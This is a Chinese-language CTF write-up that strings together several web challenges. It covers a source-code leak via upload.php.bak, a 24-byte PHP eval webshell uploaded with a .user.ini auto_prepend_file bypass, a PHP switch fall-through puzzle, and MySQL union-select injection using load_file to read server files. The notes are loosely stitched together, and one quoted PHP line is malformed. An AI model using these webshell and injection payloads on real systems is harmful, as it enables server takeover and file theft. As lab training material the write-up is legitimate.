进入题目是个文件上传的题目,尝试了一番文件上传漏洞利用的方法后，没有啥突破，可能有啥隐藏的目录，尝试源码泄露利用的方法，在输入upload.php.bak时成功下载下来源码。
.bak文件是备份文件。
这里列举一下常见的源码泄露
.hg源码泄漏 .git源码泄漏 .DS_Store文件泄漏，还有以.phps .bak结尾的网页
在web题没有头绪的时候可以尝试可能会有奇效。
源码如下：
<?php
header("content-type:text/html;charset=utf-8");
$filename = $_FILES['file']['name'];
$temp_name = $_FILES['file']['tmp_name'];
$size = $_FILES['file']['size'];
$error = $_FILES['file']['error'];
$arr = pathinfo($filename);
$ext_suffix = $arr['extension'];
if ($size > 24){
die("error file zise");
}
if (strlen($filename)>9){
die("error file name");
}
if(strlen($ext_suffix)>3){
die("error suffix");
}
if(preg_match("/php/i",$ext_suffix)){
die("error suffix");
}
if(preg_match("/php/i"),$filename)){
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功！";
}else{
echo "文件上传失败！";
}
?>
文件的大小要小于等于24，名字长度小于等于9，后缀长度小于等于3，并且最要命的是后缀和名字都不能包含php。我们肯定是要上传一句话木马的，既然小于等于24可以这样写<?php eval($_POST['a']);正好24字节可以满足，但是由于后缀问题服务器无法解析该php语句。这里用一种特殊的手法来绕过。
1.我们先将一句话保存为1.txt。
2.上传1.txt
3上传.user.ini文件。
对于php中的.user.ini有如下解释：
PHP 会在每个目录下搜寻的文件名；如果设定为空字符串则 PHP 不会搜寻。也就是在.user.ini中如果设置了文件名，那么任意一个页面都会将该文件中的内容包含进去。
我们在.user.ini中输入auto_prepend_file =a.txt，这样在该目录下的所有文件都会包含a.txt的内容、
那就直接构造参数吧，这里用post发送，我get试过了，不行，
查看当前目录有哪些文件:a=print_r(glob("*"));
a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
information_schema.`tables`一个过滤手段information_schema.`columns`,同理
apache的默认网站根路径是 /var/www/html, 我们试一下读这个文件的内容
load_file('/var/www/html/secret.php'),加载文本文件读取信息。
<?php
include("secret.php");
if(isset($_GET['c'])){
$c = intval($_GET['c']);
sleep($c);
switch ($c) {
case 1:
echo '$url';
break;
case 2:
echo '@A@';
break;
case 555555:
echo $url;
case 44444:
echo "@A@";
break;
case 3333:
echo $url;
break;
case 222:
echo '@A@';
break;
case 222:
echo '@A@';
break;
case 3333:
echo $url;
break;
case 44444:
echo '@A@';
case 555555:
echo $url;
break;
case 3:
echo '@A@';
case 6000000:
echo "$url";
case 1:
echo '@A@';
break;
}
}
highlight_file(__FILE__)打开界面发现switch函数，遇到break才会停止，又因为有sleep所以时间应该小一点，直接？c=3
访问
感觉是一个注入漏洞，然后输入true false返回值不一样，说明是数值型漏洞
到这我们发现数据库中并没有我们想要的flag，但是有一条提示tell you a secret,secert has a secret…. 所以很有可能flag在secret.php中，然后mysql提供了读取本地文件的函数load_file()，但是要权限，用user()看一下权限是root可以用load_file()读
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')从这可以看出过滤的名字，然后query需要用get方法赋值
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')就可以得出flag